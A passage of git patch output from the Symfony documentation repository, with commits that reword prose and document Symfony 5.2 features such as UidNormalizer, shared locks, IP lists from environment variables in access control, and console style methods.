@@ -79,7 +79,7 @@ Next, use Composer to download new versions of the libraries:
 
 In theory, you should be done! However, you *may* need to make a few changes
 to your code to get everything working. Additionally, some features you're
-using might still work, but might now be deprecated. While that's just fine,
+using might still work, but might now be deprecated. While that's fine,
 if you know about these deprecations, you can start to fix them over time.
 
 Every version of Symfony comes with an UPGRADE file (e.g. `UPGRADE-4.4.md`_)
diff --git a/templating/PHP.rst b/templating/PHP.rst
index f26815dc558..cafd622dd8d 100644
--- a/templating/PHP.rst
+++ b/templating/PHP.rst
@@ -206,7 +206,7 @@ The base layout already has the code to output the title in the header:
     </head>
 
 The ``output()`` method inserts the content of a slot and optionally takes a
-default value if the slot is not defined. And ``_content`` is just a special
+default value if the slot is not defined. And ``_content`` is a special
 slot that contains the rendered child template.
 
 For large slots, there is also an extended syntax:
diff --git a/testing.rst b/testing.rst
index ce863b7e319..256769f43af 100644
--- a/testing.rst
+++ b/testing.rst
@@ -62,8 +62,8 @@ want to test the overall behavior of your application, see the section about
 :ref:`Functional Tests <functional-tests>`.
 
 Writing Symfony unit tests is no different from writing standard PHPUnit
-unit tests. Suppose, for example, that you have an *incredibly* simple class
-called ``Calculator`` in the ``src/Util/`` directory of the app::
+unit tests. Suppose, for example, that you have an class called ``Calculator``
+in the ``src/Util/`` directory of the app::
 
     // src/Util/Calculator.php
     namespace App\Util;
@@ -104,8 +104,8 @@ of your application::
     ``src/Util/`` directory, put the test in the ``tests/Util/``
     directory.
 
-Just like in your real application - autoloading is automatically enabled
-via the ``vendor/autoload.php`` file (as configured by default in the
+Like in your real application - autoloading is automatically enabled via the
+``vendor/autoload.php`` file (as configured by default in the
 ``phpunit.xml.dist`` file).
 
 You can also limit a test run to a directory or a specific test file:
@@ -622,7 +622,7 @@ Accessing the Profiler Data
 
 On each request, you can enable the Symfony profiler to collect data about the
 internal handling of that request. For example, the profiler could be used to
-verify that a given page executes less than a certain number of database
+verify that a given page runs less than a certain number of database
 queries when loading.
 
 To get the Profiler for the last request, do the following::
diff --git a/testing/insulating_clients.rst b/testing/insulating_clients.rst
index ad7820688b5..e2a5b8d9ff4 100644
--- a/testing/insulating_clients.rst
+++ b/testing/insulating_clients.rst
@@ -38,7 +38,7 @@ can insulate your clients::
     $this->assertEquals(Response::HTTP_CREATED, $harry->getResponse()->getStatusCode());
     $this->assertRegExp('/Hello/', $sally->getResponse()->getContent());
 
-Insulated clients transparently execute their requests in a dedicated and
+Insulated clients transparently run their requests in a dedicated and
 clean PHP process, thus avoiding any side effects.
 
 .. tip::
diff --git a/testing/profiling.rst b/testing/profiling.rst
index bfe336442ec..882d2bdbf15 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -58,7 +58,7 @@ tests significantly. That's why Symfony disables it by default:
         ]);
 
 Setting ``collect`` to ``true`` enables the profiler for all tests. However, if
-you need the profiler just in a few tests, you can keep it disabled globally and
+you need the profiler only in a few tests, you can keep it disabled globally and
 enable the profiler individually on each test by calling
 ``$client->enableProfiler()``.
 
diff --git a/translation.rst b/translation.rst
index 998bcfd773f..cef15c359d5 100644
--- a/translation.rst
+++ b/translation.rst
@@ -110,7 +110,7 @@ Translation of text is done through the  ``translator`` service
 (:class:`Symfony\\Component\\Translation\\Translator`). To translate a block
 of text (called a *message*), use the
 :method:`Symfony\\Component\\Translation\\Translator::trans` method. Suppose,
-for example, that you're translating a simple message from inside a controller::
+for example, that you're translating a static message from inside a controller::
 
     // ...
     use Symfony\Contracts\Translation\TranslatorInterface;
@@ -124,7 +124,7 @@ for example, that you're translating a simple message from inside a controller::
 
 .. _translation-resources:
 
-When this code is executed, Symfony will attempt to translate the message
+When this code is run, Symfony will attempt to translate the message
 "Symfony is great" based on the ``locale`` of the user. For this to work,
 you need to tell Symfony how to translate the message via a "translation
 resource", which is usually a file that contains a collection of translations
diff --git a/validation.rst b/validation.rst
index 71a41357a28..ae73527188c 100644
--- a/validation.rst
+++ b/validation.rst
@@ -8,8 +8,8 @@ Validation is a very common task in web applications. Data entered in forms
 needs to be validated. Data also needs to be validated before it is written
 into a database or passed to a web service.
 
-Symfony provides a `Validator`_ component that makes this task easy and
-transparent. This component is based on the `JSR303 Bean Validation specification`_.
+Symfony provides a `Validator`_ component to handle this for you. This
+component is based on the `JSR303 Bean Validation specification`_.
 
 Installation
 ------------
@@ -39,13 +39,13 @@ your application::
         private $name;
     }
 
-So far, this is just an ordinary class that serves some purpose inside your
-application. The goal of validation is to tell you if the data
-of an object is valid. For this to work, you'll configure a list of rules
-(called :ref:`constraints <validation-constraints>`) that the object must
-follow in order to be valid. These rules are usually defined using PHP code or
-annotations but they can also be defined as ``.yaml`` or
-``.xml`` files inside the ``config/validator/`` directory:
+So far, this is an ordinary class that serves some purpose inside your
+application. The goal of validation is to tell you if the data of an object is
+valid. For this to work, you'll configure a list of rules (called
+:ref:`constraints <validation-constraints>`) that the object must follow in
+order to be valid. These rules are usually defined using PHP code or
+annotations but they can also be defined as ``.yaml`` or ``.xml`` files inside
+the ``config/validator/`` directory:
 
 For example, to guarantee that the ``$name`` property is not empty, add the
 following:
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index ad13504ecd3..faee09778b9 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -5,9 +5,9 @@ How to Create a custom Validation Constraint
 ============================================
 
 You can create a custom constraint by extending the base constraint class,
-:class:`Symfony\\Component\\Validator\\Constraint`.
-As an example you're going to create a simple validator that checks if a string
-contains only alphanumeric characters.
+:class:`Symfony\\Component\\Validator\\Constraint`. As an example you're
+going to create a basic validator that checks if a string contains only
+alphanumeric characters.
 
 Creating the Constraint Class
 -----------------------------
@@ -40,7 +40,7 @@ Creating the Validator itself
 As you can see, a constraint class is fairly minimal. The actual validation is
 performed by another "constraint validator" class. The constraint validator
 class is specified by the constraint's ``validatedBy()`` method, which
-includes some simple default logic::
+has this default logic::
 
     // in the base Symfony\Component\Validator\Constraint class
     public function validatedBy()
@@ -52,7 +52,7 @@ In other words, if you create a custom ``Constraint`` (e.g. ``MyConstraint``),
 Symfony will automatically look for another class, ``MyConstraintValidator``
 when actually performing the validation.
 
-The validator class is also simple, and only has one required method ``validate()``::
+The validator class only has one required method ``validate()``::
 
     // src/Validator/Constraints/ContainsAlphanumericValidator.php
     namespace App\Validator\Constraints;
@@ -108,7 +108,7 @@ The ``addViolation()`` method call finally adds the violation to the context.
 Using the new Validator
 -----------------------
 
-You can use custom validators just as the ones provided by Symfony itself:
+You can use custom validators like the ones provided by Symfony itself:
 
 .. configuration-block::
 
diff --git a/validation/groups.rst b/validation/groups.rst
index 68daaeb6561..b25c82236fc 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -8,7 +8,7 @@ By default, when validating an object all constraints of this class will
 be checked whether or not they actually pass. In some cases, however, you
 will need to validate an object against only *some* constraints on that class.
 To do this, you can organize each constraint into one or more "validation
-groups" and then apply validation against just one group of constraints.
+groups" and then apply validation against one group of constraints.
 
 For example, suppose you have a ``User`` class, which is used both when a
 user registers and when a user updates their contact information later:
diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index 34f8b7ac09e..cd25bec0653 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -4,7 +4,7 @@
 How to Validate Raw Values (Scalar Values and Arrays)
 =====================================================
 
-Usually you will be validating entire objects. But sometimes, you just want
+Usually you will be validating entire objects. But sometimes, you want
 to validate a simple value - like to verify that a string is a valid email
 address. From inside a controller, it looks like this::
 
@@ -102,6 +102,6 @@ Validation of arrays is possible using the ``Collection`` constraint::
     $violations = $validator->validate($input, $constraint, $groups);
 
 The ``validate()`` method returns a :class:`Symfony\\Component\\Validator\\ConstraintViolationList`
-object, which acts just like an array of errors. Each error in the collection
+object, which acts like an array of errors. Each error in the collection
 is a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object,
 which holds the error message on its ``getMessage()`` method.
diff --git a/workflow.rst b/workflow.rst
index fa656bb1d41..3ca81fbea6c 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -313,7 +313,7 @@ order:
     * ``workflow.[workflow name].transition.[transition name]``
 
 ``workflow.enter``
-    The subject is about to enter a new place. This event is triggered just
+    The subject is about to enter a new place. This event is triggered right
     before the subject places are updated, which means that the marking of the
     subject is not yet updated with the new places.
 
@@ -488,7 +488,7 @@ This class has these additional methods:
 Blocking Transitions
 --------------------
 
-The execution of the workflow can be controlled by executing custom logic to
+The execution of the workflow can be controlled by calling custom logic to
 decide if the current transition is blocked or allowed before applying it. This
 feature is provided by "guards", which can be used in two ways.
 
@@ -713,8 +713,7 @@ Storing Metadata
 
 In case you need it, you can store arbitrary metadata in workflows, their
 places, and their transitions using the ``metadata`` option. This metadata can
-be as simple as the title of the workflow or as complex as your own application
-requires:
+be only the title of the workflow or very complex objects:
 
 .. configuration-block::
 

From 93f8374641aaadbb2115ee8df4972897213674b7 Mon Sep 17 00:00:00 2001
From: Tomas <norkunas.tom@gmail.com>
Date: Fri, 11 Sep 2020 10:47:51 +0300
Subject: [PATCH 1127/7107] Add Uid normalizer to normalizers list

---
 components/serializer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 6f15604325e..5cbe58e0487 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -804,6 +804,12 @@ There are several types of normalizers available:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
     Normalizes errors according to the API Problem spec `RFC 7807`_.
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
+    This normalizer converts objects that implement
+    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings. Also it can
+    denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
+    or :class:`Symfony\\Component\\Uid\\Ulid`.
+
 .. _component-serializer-encoders:
 
 Encoders

From 082923b47022d93d6df16198ac73e17a5694e6cc Mon Sep 17 00:00:00 2001
From: Zmey <amenshchikov@gmail.com>
Date: Fri, 11 Sep 2020 17:33:09 +0300
Subject: [PATCH 1128/7107] Added ability to use csv ips in
 security.access_control

---
 security/access_control.rst | 67 +++++++++++++++++++++++++++++++++++++
 1 file changed, 67 insertions(+)

diff --git a/security/access_control.rst b/security/access_control.rst
index d7a96345b8e..385a499d2fb 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -133,6 +133,73 @@ if ``ip``, ``port``, ``host`` or ``method`` are not specified for an entry, that
     :ref:`Deny access in PHP code <security-securing-controller>` if you want
     to disallow access based on ``$_GET`` parameter values.
 
+.. versionadded:: 5.2
+
+    Environment variables can be used to pass comma separated ip addresses
+    (as a single value or as one of array values):
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/security.yaml
+            parameters:
+                env(TRUSTED_IPS): '10.0.0.1, 10.0.0.2'
+            security:
+                # ...
+                access_control:
+                    - { path: '^/admin', ips: '%env(TRUSTED_IPS)%' }
+                    - { path: '^/admin', ips: [127.0.0.1, ::1, '%env(TRUSTED_IPS)%'] }
+
+        .. code-block:: xml
+
+            <!-- config/packages/security.xml -->
+            <?xml version="1.0" encoding="UTF-8"?>
+            <srv:container xmlns="http://symfony.com/schema/dic/security"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:srv="http://symfony.com/schema/dic/services"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/security
+                    https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+                <parameters>
+                    <parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</parameter>
+                </parameters>
+
+                <config>
+                    <!-- ... -->
+                    <rule path="^/admin" ip="%env(TRUSTED_IPS)%"/>
+                    <rule path="^/admin">
+                        <ip>127.0.0.1</ip>
+                        <ip>::1</ip>
+                        <ip>%env(TRUSTED_IPS)%</ip>
+                    </rule>
+                </config>
+            </srv:container>
+
+        .. code-block:: php
+
+            // config/packages/security.php
+            $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
+            $container->loadFromExtension('security', [
+                // ...
+                'access_control' => [
+                    [
+                        'path' => '^/admin',
+                        'ips' => '%env(TRUSTED_IPS)%',
+                    ],
+                    [
+                        'path' => '^/admin',
+                        'ips' => [
+                            '127.0.0.1',
+                            '::1',
+                            '%env(TRUSTED_IPS)%',
+                        ],
+                    ],
+                ],
+            ]);
+
 .. _security-access-control-enforcement-options:
 
 2. Access Enforcement

From 6e85c11b7970e7705e3174eda1d1c78d115ea993 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Sep 2020 20:40:25 +0200
Subject: [PATCH 1129/7107] Added the versionadded directive

---
 components/serializer.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5cbe58e0487..84a8b297848 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -810,6 +810,10 @@ There are several types of normalizers available:
     denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
     or :class:`Symfony\\Component\\Uid\\Ulid`.
 
+.. versionadded:: 5.2
+
+    The ``UidNormalizer`` was introduced in Symfony 5.2.
+
 .. _component-serializer-encoders:
 
 Encoders

From dc961a67daaa567544a567c039bff91b51f74479 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Sep 2020 20:52:37 +0200
Subject: [PATCH 1130/7107] Reword

---
 mailer.rst | 15 ++++-----------
 1 file changed, 4 insertions(+), 11 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 67138b2a11f..7f8e64791f4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -954,9 +954,10 @@ Development & Debugging
 Disabling Delivery
 ~~~~~~~~~~~~~~~~~~
 
-While developing (or testing), you may want to disable delivery of messages entirely.
-You can do this by forcing Mailer to use the ``NullTransport`` in only the ``dev``
-environment:
+While developing (or testing), you may want to disable delivery of messages
+entirely. You can do this by using ``null://null`` as the mailer DSN, either in
+your :ref:`.env configuration files <configuration-multiple-env-files>` or in
+the mailer configuration file (e.g. in the ``dev`` or ``test`` environments):
 
 .. configuration-block::
 
@@ -994,14 +995,6 @@ environment:
             ],
         ]);
 
-You can also disable delivering with an environment variable in your `.env.test` file
-(or you can create a `.env.test.local` file for example) :
-
-.. code-block:: bash
-
-    # .env.test
-    MAILER_DSN=null://null
-
 .. note::
 
     If you're using Messenger and routing to a transport, the message will *still*

From 86c2f6dda4f0057a0429f2d831cb1c430b9ea670 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 12 Sep 2020 11:16:28 +0200
Subject: [PATCH 1131/7107] [Console] Documented the info() method

---
 console/style.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/console/style.rst b/console/style.rst
index c800e56f976..a8cdad20004 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -325,6 +325,27 @@ Result Methods
             'Consectetur adipiscing elit',
         ]);
 
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::info`
+    It's similar to the ``success()`` method (the given string or array of strings
+    are displayed with a green background) but the ``[OK]`` label is not prefixed.
+    It's meant to be used once to display the final result of executing the given
+    command, without showing the result as a successful or failed one::
+
+        // use simple strings for short success messages
+        $io->info('Lorem ipsum dolor sit amet');
+
+        // ...
+
+        // consider using arrays when displaying long success messages
+        $io->info([
+            'Lorem ipsum dolor sit amet',
+            'Consectetur adipiscing elit',
+        ]);
+
+.. versionadded:: 5.2
+
+    The ``info()`` method was introduced in Symfony 5.2.
+
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::warning`
     It displays the given string or array of strings highlighted as a warning
     message (with a red background and the ``[WARNING]`` label). It's meant to be

From a83c6e124ac2ce76e728913810f5395e8931f035 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 12 Sep 2020 11:37:15 +0200
Subject: [PATCH 1132/7107] [Console] Document the setAutoExit() method

---
 console.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/console.rst b/console.rst
index 8b015737c85..e76d2743425 100644
--- a/console.rst
+++ b/console.rst
@@ -376,6 +376,14 @@ console::
         }
     }
 
+If you are using a :doc:`single-command application </components/console/single_command_tool>`,
+call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``.
+
+.. versionadded:: 5.2
+
+    The ``setAutoExit()`` method for single-command applications was introduced
+    in Symfony 5.2.
+
 .. tip::
 
     You can also test a whole console application by using

From cec6219b430950a6b3ae4cfa008f69b3a1929381 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 12 Sep 2020 11:57:38 +0200
Subject: [PATCH 1133/7107] Minor tweak

---
 messenger.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index bff5ce65a3f..8b3b93ad415 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1009,11 +1009,13 @@ Beanstalkd Transport
 
 .. versionadded:: 5.2
 
-    Install it by running:
+    The Beanstalkd transport was introduced in Symfony 5.2.
 
-    .. code-block:: terminal
+Install it by running:
+
+.. code-block:: terminal
 
-        $ composer require symfony/beanstalkd-messenger
+    $ composer require symfony/beanstalkd-messenger
 
 .. code-block:: bash
 

From 62a71dc67c479625ea11c3767d117ef8e3460121 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 12 Sep 2020 12:11:36 +0200
Subject: [PATCH 1134/7107] [Console] Choice values can also be objects

---
 components/console/helpers/questionhelper.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 89716c8d078..a4cc68b80b2 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -105,6 +105,7 @@ from a predefined list::
         $helper = $this->getHelper('question');
         $question = new ChoiceQuestion(
             'Please select your favorite color (defaults to red)',
+            // choices can also be PHP objects that implement __toString() method
             ['red', 'blue', 'yellow'],
             0
         );
@@ -116,6 +117,10 @@ from a predefined list::
         // ... do something with the color
     }
 
+.. versionadded:: 5.2
+
+    Support for using PHP objects as choice values was introduced in Symfony 5.2.
+
 The option which should be selected by default is provided with the third
 argument of the constructor. The default is ``null``, which means that no
 option is the default one.

From dfd97c57ab8faf8548442381382a3cbe36fb24bd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Sat, 12 Sep 2020 14:25:27 +0200
Subject: [PATCH 1135/7107] Add documentation about read/write locks

---
 components/lock.rst | 72 ++++++++++++++++++++++++++++++++++++++-------
 1 file changed, 61 insertions(+), 11 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 09c7abab8eb..53a7514e935 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -165,6 +165,56 @@ This component also provides two useful methods related to expiring locks:
 ``getExpiringDate()`` (which returns ``null`` or a ``\DateTimeImmutable``
 object) and ``isExpired()`` (which returns a boolean).
 
+Shared Locks
+------------
+
+Sometimes, a data structure cannot be updated atomically and is invalid during
+the time of the update. In this situation, other process should not read or
+write the data until the update is complete. But once updated, multiple process
+can read the data in parallel.
+
+In this situation, a common solution is to use shared lock which allows
+concurent access for read-only operations, while write operations require
+exclusive access.
+
+Use the :method:`Symfony\\Component\\Lock\\LockInterface::acquireRead` method
+to acquire a read-only lock, and the existing
+:method:`Symfony\\Component\\Lock\\LockInterface::acquire` method to acquire a
+write lock.::
+
+    $lock = $factory->createLock('user'.$user->id);
+    if (!$lock->acquireRead()) {
+        return;
+    }
+
+Similare to the ``acquire`` method, pass ``true`` as the argument of the ``acquireRead()``
+method to acquire the lock in a blocking mode.::
+
+    $lock = $factory->createLock('user'.$user->id);
+    $lock->acquireRead(true);
+
+When a read-only lock is acquired with the method ``acquireRead``, it's
+possible to **Promote** the lock, and change it to write lock, by calling the
+``acquire`` method.::
+
+    $lock = $factory->createLock('user'.$userId);
+    $lock->acquireRead(true);
+
+    if (!$this->shouldUpdate($userId)) {
+        return;
+    }
+
+    $lock->acquire(true); // Promote the lock to write lock
+    $this->update($userId);
+
+In the same way, it's possible to **Demote** a write lock, and change it to a
+read-only lock by calling the ``acquireRead`` method.
+
+.. versionadded:: 5.2
+
+    The ``Lock::acquireRead`` method and ``SharedLockStoreInterface`` interface
+    and were introduced in Symfony 5.2.
+
 The Owner of The Lock
 ---------------------
 
@@ -219,17 +269,17 @@ Locks are created and managed in ``Stores``, which are classes that implement
 
 The component includes the following built-in store types:
 
-============================================  ======  ========  ========
-Store                                         Scope   Blocking  Expiring
-============================================  ======  ========  ========
-:ref:`FlockStore <lock-store-flock>`          local   yes       no
-:ref:`MemcachedStore <lock-store-memcached>`  remote  no        yes
-:ref:`MongoDbStore <lock-store-mongodb>`      remote  no        yes
-:ref:`PdoStore <lock-store-pdo>`              remote  no        yes
-:ref:`RedisStore <lock-store-redis>`          remote  no        yes
-:ref:`SemaphoreStore <lock-store-semaphore>`  local   yes       no
-:ref:`ZookeeperStore <lock-store-zookeeper>`  remote  no        no
-============================================  ======  ========  ========
+============================================  ======  ========  ======== =======
+Store                                         Scope   Blocking  Expiring Sharing
+============================================  ======  ========  ======== =======
+:ref:`FlockStore <lock-store-flock>`          local   yes       no       yes
+:ref:`MemcachedStore <lock-store-memcached>`  remote  no        yes      no
+:ref:`MongoDbStore <lock-store-mongodb>`      remote  no        yes      no
+:ref:`PdoStore <lock-store-pdo>`              remote  no        yes      no
+:ref:`RedisStore <lock-store-redis>`          remote  no        yes      yes
+:ref:`SemaphoreStore <lock-store-semaphore>`  local   yes       no       no
+:ref:`ZookeeperStore <lock-store-zookeeper>`  remote  no        no       no
+============================================  ======  ========  ======== =======
 
 .. _lock-store-flock:
 

From c0a42dedea6858a1bf6f9621e4a5a1937ba91146 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Fri, 11 Sep 2020 18:12:49 +0200
Subject: [PATCH 1136/7107] fix default value of choice_translation_domain for
 choice types

---
 reference/forms/types/birthday.rst                        | 2 +-
 reference/forms/types/choice.rst                          | 2 +-
 reference/forms/types/country.rst                         | 4 +++-
 reference/forms/types/currency.rst                        | 4 +++-
 reference/forms/types/date.rst                            | 8 ++++----
 reference/forms/types/entity.rst                          | 2 +-
 reference/forms/types/language.rst                        | 4 +++-
 reference/forms/types/locale.rst                          | 4 +++-
 .../forms/types/options/choice_translation_domain.rst.inc | 2 +-
 .../options/choice_translation_domain_disabled.rst.inc    | 7 +++++++
 .../options/choice_translation_domain_enabled.rst.inc     | 7 +++++++
 reference/forms/types/time.rst                            | 2 +-
 reference/forms/types/timezone.rst                        | 4 +++-
 13 files changed, 38 insertions(+), 14 deletions(-)
 create mode 100644 reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 create mode 100644 reference/forms/types/options/choice_translation_domain_enabled.rst.inc

diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 98631be0870..34b93f0cfe6 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -64,7 +64,7 @@ Inherited Options
 
 These options inherit from the :doc:`DateType </reference/forms/types/date>`:
 
-.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
+.. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
 .. include:: /reference/forms/types/options/days.rst.inc
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 82036dc3d82..1a1a0c989e3 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -236,7 +236,7 @@ the choice options would need to be resolved thus triggering the callback.
 
 .. include:: /reference/forms/types/options/choice_name.rst.inc
 
-.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
+.. include:: /reference/forms/types/options/choice_translation_domain_enabled.rst.inc
 
 .. include:: /reference/forms/types/options/choice_value.rst.inc
 
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 278b22759ed..b7f906fcdd3 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -22,7 +22,7 @@ the option manually, but then you should just use the ``ChoiceType`` directly.
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)          |
 +-------------+-----------------------------------------------------------------------+
 | Overridden  | - `choices`_                                                          |
-| options     |                                                                       |
+| options     | - `choice_translation_domain`_                                        |
 +-------------+-----------------------------------------------------------------------+
 | Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`            |
 | options     |                                                                       |
@@ -67,6 +67,8 @@ The locale is used to translate the countries names.
     will also have to set the ``choice_loader`` option to ``null``. Not doing
     so is deprecated since Symfony 3.3.
 
+.. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index c0b3607113c..24198763644 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -15,7 +15,7 @@ manually, but then you should just use the ``ChoiceType`` directly.
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
 +-------------+------------------------------------------------------------------------+
 | Overridden  | - `choices`_                                                           |
-| options     |                                                                        |
+| options     | - `choice_translation_domain`_                                         |
 +-------------+------------------------------------------------------------------------+
 | Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
 | options     |                                                                        |
@@ -58,6 +58,8 @@ The choices option defaults to all currencies.
     will also have to set the ``choice_loader`` option to ``null``. Not doing
     so is deprecated since Symfony 3.3.
 
+.. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 2648d331127..492cac98017 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -15,8 +15,7 @@ and can understand a number of different input formats via the `input`_ option.
 +----------------------+-----------------------------------------------------------------------------+
 | Rendered as          | single text box or three select fields                                      |
 +----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `days`_                                                                   |
+| Options              | - `days`_                                                                   |
 |                      | - `placeholder`_                                                            |
 |                      | - `format`_                                                                 |
 |                      | - `html5`_                                                                  |
@@ -28,6 +27,7 @@ and can understand a number of different input formats via the `input`_ option.
 |                      | - `years`_                                                                  |
 +----------------------+-----------------------------------------------------------------------------+
 | Overridden options   | - `by_reference`_                                                           |
+|                      | - `choice_translation_domain`_                                              |
 |                      | - `compound`_                                                               |
 |                      | - `data_class`_                                                             |
 |                      | - `error_bubbling`_                                                         |
@@ -135,8 +135,6 @@ that Symfony should expect via the `format`_ option.
 Field Options
 -------------
 
-.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
-
 .. include:: /reference/forms/types/options/days.rst.inc
 
 ``placeholder``
@@ -191,6 +189,8 @@ Overridden Options
 
 The ``DateTime`` classes are treated as immutable objects.
 
+.. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
+
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
 .. include:: /reference/forms/types/options/data_class_date.rst.inc
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 59145cc4602..4910cbed4f1 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -258,7 +258,7 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/choice_attr.rst.inc
 
-.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
+.. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
 .. include:: /reference/forms/types/options/expanded.rst.inc
 
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 4b40b2b1e44..3a2ad669725 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -24,7 +24,7 @@ manually, but then you should just use the ``ChoiceType`` directly.
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
 +-------------+------------------------------------------------------------------------+
 | Overridden  | - `choices`_                                                           |
-| options     |                                                                        |
+| options     | - `choice_translation_domain`_                                         |
 +-------------+------------------------------------------------------------------------+
 | Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
 | options     |                                                                        |
@@ -69,6 +69,8 @@ The default locale is used to translate the languages names.
     will also have to set the ``choice_loader`` option to ``null``. Not doing
     so is deprecated since Symfony 3.3.
 
+.. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 3933594ba72..da16699791f 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -25,7 +25,7 @@ manually, but then you should just use the ``ChoiceType`` directly.
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
 +-------------+------------------------------------------------------------------------+
 | Overridden  | - `choices`_                                                           |
-| options     |                                                                        |
+| options     | - `choice_translation_domain`_                                         |
 +-------------+------------------------------------------------------------------------+
 | Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
 | options     |                                                                        |
@@ -70,6 +70,8 @@ specify the language.
     will also have to set the ``choice_loader`` option to ``null``. Not doing
     so is deprecated since Symfony 3.3.
 
